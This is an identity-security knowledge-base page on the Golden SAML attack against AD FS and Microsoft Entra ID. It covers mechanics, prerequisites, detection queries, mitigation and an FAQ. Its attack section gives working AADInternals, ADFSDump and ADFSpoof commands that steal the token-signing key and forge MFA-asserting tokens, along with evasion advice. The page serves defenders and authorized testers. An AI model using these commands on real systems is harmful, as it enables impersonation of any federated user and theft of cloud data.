1. Resources
  2. Identity Threats
  3. Microsoft Entra ID

Golden SAML

Also known as: Forged SAML token, AD FS token-signing certificate theft, ADFSpoof, SAML token forgery

An attacker who steals the token-signing key of AD FS, or of another federated identity provider, forges SAML tokens for any user and signs in to Microsoft Entra ID and every other application that trusts the issuer.

Platform
Microsoft Entra ID
Impact
Critical
Last updated
Attack difficulty
High
Detection difficulty
High
Privileges required: Tier 0 or tenant admin
Control of the AD FS service account or local administrator on an AD FS server, or directory replication rights plus network access to AD FS. Any path to the token-signing private key.
What the attacker gains
Sign-in as any federated user, with any claims including an MFA claim, at every relying party of the federation service, until the signing certificate is replaced twice.
Threat groups
APT28APT29APT33APT38APT5HAFNIUMKe3changKimsukyLAPSUS$NIMBUS MANTICORERockeScattered SpiderShinyHuntersStorm-0501and 4 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1606.002, T1552.004, T1078.004.

How it works

In a federated sign-in, Microsoft Entra ID does not authenticate the user. It redirects the browser to the identity provider configured on the domain, most often Active Directory Federation Services (AD FS), and accepts the signed token that comes back. Entra ID checks the issuer, the signature and the token's conditions. It cannot check whether the federation service really authenticated anyone.

The signature is made with the token-signing certificate's private key. Whoever holds that key can write a token for any user, with any claims, on any machine, and the relying party will accept it. That forged token is a Golden SAML. The name is slightly loose: for Microsoft 365 the token travels in a WS-Federation response and carries a SAML 1.1 assertion; other applications receive SAML 2.0 responses. The attack is the same in both cases.

In a default AD FS farm the token-signing certificate is generated by AD FS and stored, encrypted, in the AD FS configuration database. The key that decrypts it is kept in Active Directory by the Distributed Key Manager (DKM), in a contact object below CN=ADFS,CN=Microsoft,CN=Program Data in the domain, in the thumbnailPhoto attribute. So the signing key is the product of two things: the configuration (the EncryptedPfx blob) and the DKM key. The AD FS service account can read both, by design.

The forger also needs two public facts: the issuer URI of the federation service, and an identifier for the victim. For Entra ID that identifier is the user's immutable ID, which is the Base64 form of the on-premises object GUID.

Variants:

  • Local export on an AD FS server, running as the service account or as a local administrator who can impersonate it.
  • Remote export. The configuration is fetched over the network from the AD FS policy store transfer service by authenticating as the service account, and the DKM key is read from a domain controller with directory replication. No code runs on the AD FS server.
  • Other identity providers. Any federated IdP whose signing key can be stolen gives the same result for the domains and applications that trust it.

If the attacker cannot steal the key but can change which key Entra ID trusts, the result is the same token forgery by another route: see Entra ID federated domain backdoor.

Prerequisites

  • A domain in the tenant, or another application, that is federated with the identity provider.
  • One of these paths to the key:
    • code execution as the AD FS service account, or local administrator on a primary AD FS server that uses the Windows Internal Database;
    • the service account's NT hash (for the remote configuration export) and Replicate Directory Changes and Replicate Directory Changes All (for the DKM key);
    • a backup of the AD FS database together with read access to the DKM container.
  • The token-signing key is stored in software. A key held in a hardware security module cannot be exported this way.
  • The issuer URI and the target user's object GUID or UPN.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Export the configuration and the DKM key with AADInternals

On an AD FS server, as local administrator:

Import-Module AADInternals

# Configuration from the local database
$ADFSConfig = Export-AADIntADFSConfiguration -Local

# DKM key, fetched as the AD FS service account
$ADFSKey = Export-AADIntADFSEncryptionKey -Local -Configuration $ADFSConfig

# Decrypt and write the token-signing and token-encryption certificates to the current folder
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $ADFSKey

When run on the AD FS server, Export-AADIntADFSCertificates works without parameters. The exported .pfx files have no password.

Remotely, with the service account's hash and an account that has replication rights:

$cred = Get-Credential

# NT hash of the AD FS service account, by replication
$hash = Get-AADIntADUserNTHash -ObjectGuid "00000000-0000-0000-0000-000000000000" -Credentials $cred -Server DC01.corp.example.com -AsHex

# Configuration from the AD FS server, authenticating as the service account
$ADFSConfig = Export-AADIntADFSConfiguration -Hash $hash -SID "S-1-5-21-1111111111-2222222222-3333333333-1105" -Server sts.corp.example.com

# DKM key by replication; ObjectGuid is the DKM contact object that holds the key
$ADFSKey = Export-AADIntADFSEncryptionKey -Server DC01.corp.example.com -Credentials $cred -ObjectGuid "00000000-0000-0000-0000-000000000000"

Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $ADFSKey

2. Or dump with ADFSDump and decrypt with ADFSpoof

ADFSDump must run on an AD FS server (not a web application proxy) in the context of the AD FS service account. It prints the DKM key, the EncryptedPfx blob and the configured relying parties with their claim rules:

ADFSDump.exe /domain:corp.example.com /server:DC01.corp.example.com

Save the Base64-decoded blob and the key to files and turn them into a certificate:

pip install -r requirements.txt
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin dump --path signing.pfx

3. Collect the issuer and the victim's identifier

# On the AD FS server
(Get-ADFSProperties).Identifier.OriginalString

# Or the issuer that the tenant trusts for the domain
Get-MgDomainFederationConfiguration -DomainId corp.example.com | Select-Object IssuerUri

# Immutable ID of the victim: Base64 of the AD object GUID
$user = Get-ADUser alice
[Convert]::ToBase64String($user.ObjectGUID.ToByteArray())

The issuer registered in the tenant is the one that matters; it can differ from the identifier on the AD FS server when federation was configured through Microsoft Entra Connect.

4. Forge the token and sign in

AADInternals builds the token, posts it to Entra ID and opens a signed-in browser:

$Issuer = "http://sts.corp.example.com/adfs/services/trust"

Open-AADIntOffice365Portal -ImmutableID "AAAAAAAAAAAAAAAAAAAAAA==" -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer -Browser Chrome

Or keep the token and exchange it for access tokens. -ByPassMFA $true adds the claim that MFA was performed:

$saml = New-AADIntSAMLToken -ImmutableID "AAAAAAAAAAAAAAAAAAAAAA==" -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer -ByPassMFA $true
Get-AADIntAccessTokenForEXO -SAMLToken $saml -SaveToCache

ADFSpoof forges the Microsoft 365 token from the blob and key directly, and has a generic module for other relying parties:

# Microsoft 365 (SAML 1.1 token); the object GUID includes the curly braces
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s sts.corp.example.com o365 \
    --upn alice@corp.example.com --objectguid {00000000-0000-0000-0000-000000000000}

# Any SAML 2.0 relying party, using the claim rules that ADFSDump printed
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s sts.corp.example.com saml2 \
    --endpoint https://app.example.com/saml/acs \
    --nameidformat urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress \
    --nameid alice@corp.example.com --rpidentifier app.example.com \
    --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress"><AttributeValue>alice@corp.example.com</AttributeValue></Attribute>'

Impact

The attacker becomes any user of the federated domains at every application that trusts the federation service: Microsoft 365, the Azure portal, and third-party SaaS configured as relying parties. The forged token can assert MFA, so where the tenant accepts the identity provider's MFA claim, Conditional Access requirements for MFA are satisfied without the user's second factor. Nothing about the victim account changes, and resetting its password does not help, because the signature, not the password, is what the relying party trusts. Access lasts until the token-signing certificate is replaced and the old one has left every relying party's trust, which for Entra ID takes two rotations. This is credential theft of the issuer itself.

OPSEC and artifacts

  • No sign-in at the identity provider. A forged token is never requested from AD FS, so the AD FS Security log has no token issuance (event 1200) and no credential validation (event 1202) for it. The relying party's log is the only record: for Entra ID, a successful sign-in whose token issuer type is AD FS.
  • Local export through AD FS's own code. AADInternals' local key export runs a short-lived service as the AD FS service account and lets the AD FS binaries read the DKM key. The read then comes from the account that reads the key every day, which defeats alerts keyed on who accessed the DKM container. What remains is a new service on the AD FS server that exists for a moment.
  • Remote export. Fetching the DKM key by replication writes event 4662 with the replication rights on the domain controller, but not the object-level read of the DKM contact. Fetching the configuration remotely is a logon by the service account to the AD FS server from a host that is not a farm member.
  • Direct DKM read. Reading thumbnailPhoto of the DKM contact over LDAP, as ADFSDump does, writes event 4662 for that object when a SACL covers the AD FS container.
  • Token details. Tools use their own defaults for token lifetime, claim set and assertion IDs. Careful operators copy the claims and lifetimes of a real token from the same farm, and sign in from addresses and user agents that fit the victim.
  • Unchanged trust. The tenant's federation settings are not modified, so the audit log has no Set federation settings on domain event. An unchanged thumbprint is fully compatible with misuse of the original key.

Detection

  • Issuance gap. For federated sign-ins that required fresh authentication, compare the Entra sign-in time with AD FS Security events 1200 and 1202 across every farm node. A sign-in without a matching issuance, when AD FS auditing was on and the clocks are aligned, was not issued by AD FS. Session reuse and refresh tokens explain many gaps, so restrict the comparison to interactive sign-ins that went through the identity provider.
  • DKM key read. The Golden SAML rule reads event 4662 for the thumbnailPhoto of contact objects in the AD FS container by an account that is not the service's gMSA or a computer account. It needs a SACL on the container.
  • Replication by non-DC accounts. The DCSync rules cover the remote route.
  • Token anomalies in the cloud. Microsoft Entra ID Protection raises the tokenIssuerAnomaly risk detection for SAML tokens whose issuer characteristics are unusual; the federated domain backdoor rules include it.
  • AD FS server telemetry. New services running as the AD FS service account, access to the configuration database from processes other than the AD FS service, and logons of the service account from hosts outside the farm.
// Federated sign-ins to line up against AD FS events 1200 and 1202 on the farm
SigninLogs
| where TokenIssuerType == "ADFederationServices"
| where ResultType == "0" and IsInteractive == true
| project TimeGenerated, UserPrincipalName, IPAddress, AppDisplayName, TokenIssuerName,
          AuthenticationRequirement, ConditionalAccessStatus, CorrelationId
| order by TimeGenerated asc

Where the Connect Health agent for AD FS is installed, the farm's own sign-ins are available in the ADFSSignInLogs table and the comparison can be done in one workspace.

Mitigation

  • Move off federation. With password hash synchronization or certificate-based authentication in Entra ID, there is no on-premises signing key that the cloud trusts. The Entra Connect hardening guide compares the sign-in methods.
  • Do not accept MFA claims from the identity provider unless a third-party MFA product requires it. Set the domain's federatedIdpMfaBehavior to rejectMfaByFederatedIdp so Entra ID always performs MFA itself:
Update-MgDomainFederationConfiguration -DomainId "corp.example.com" `
    -InternalDomainFederationId "00000000-0000-0000-0000-000000000000" `
    -FederatedIdpMfaBehavior "rejectMfaByFederatedIdp"
  • Keep the signing key in an HSM, as Microsoft recommends, so it cannot be exported even from a compromised server.
  • Treat AD FS servers and the service account as Tier 0. Run the service as a group managed service account, restrict local administrators, and keep the servers off the general server network. Limit who holds replication rights in the domain.
  • Audit the DKM container. Add a SACL for read access to the AD FS container so event 4662 is written, and enable AD FS auditing so events 1200 and 1202 exist to compare against.
  • Keep cloud-only emergency access accounts on the onmicrosoft.com domain, and do not synchronize or federate privileged accounts.
  • After exposure, rotate the token-signing certificate twice. One rotation is not enough: Microsoft Entra ID holds on to the previous certificate, and the old key can still authenticate users until a second new certificate replaces it.
# On the primary AD FS server, with AutoCertificateRollover set to True
Update-AdfsCertificate -CertificateType Token-Signing -Urgent
Update-AdfsCertificate -CertificateType Token-Signing

# Push the new certificates to the tenant, then remove the old one from AD FS
Update-MgDomainFederationConfiguration -DomainId "corp.example.com" -InternalDomainFederationId "00000000-0000-0000-0000-000000000000"
Remove-AdfsCertificate -CertificateType Token-Signing -Thumbprint "0000000000000000000000000000000000000000"

Secure the farm and the DKM container first, or the new key is stolen the same way. Then revoke refresh tokens for affected users, replace the AD FS TLS certificates, and review every relying party for the old certificate.

Detection rules for this attack

Log events to collect

FAQ

What is the difference between Golden SAML and a Golden Ticket?

A Golden Ticket is a Kerberos ticket forged with the krbtgt key and works against Active Directory services. Golden SAML is a SAML token forged with the federation service's token-signing key and works against the applications that trust that service, such as Microsoft Entra ID, Microsoft 365 and other SaaS. Both forge the credential that the issuer would normally create.

Does Golden SAML bypass MFA?

It can. The forger writes the claims, including the claim that multifactor authentication was performed. If the federated domain accepts MFA from the identity provider, which is the default when no behaviour is set, Microsoft Entra ID treats the requirement as met. Setting federatedIdpMfaBehavior to rejectMfaByFederatedIdp makes Entra ID perform MFA itself.

Does resetting the user's password stop a Golden SAML attack?

No. The forged token never involves the user's password. It is valid because of the signature, and the signing key stays valid until the token-signing certificate is replaced and the old one is no longer trusted. Microsoft's emergency procedure rotates the certificate twice because Entra ID keeps information about the previous certificate.

How do you detect a forged SAML token?

Compare the service provider with the identity provider. A federated sign-in in Microsoft Entra ID that has no matching token issuance in the AD FS audit log on any farm node was not issued by AD FS. Earlier in the chain, watch for reads of the AD FS DKM key in Active Directory and for exports of the AD FS configuration.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.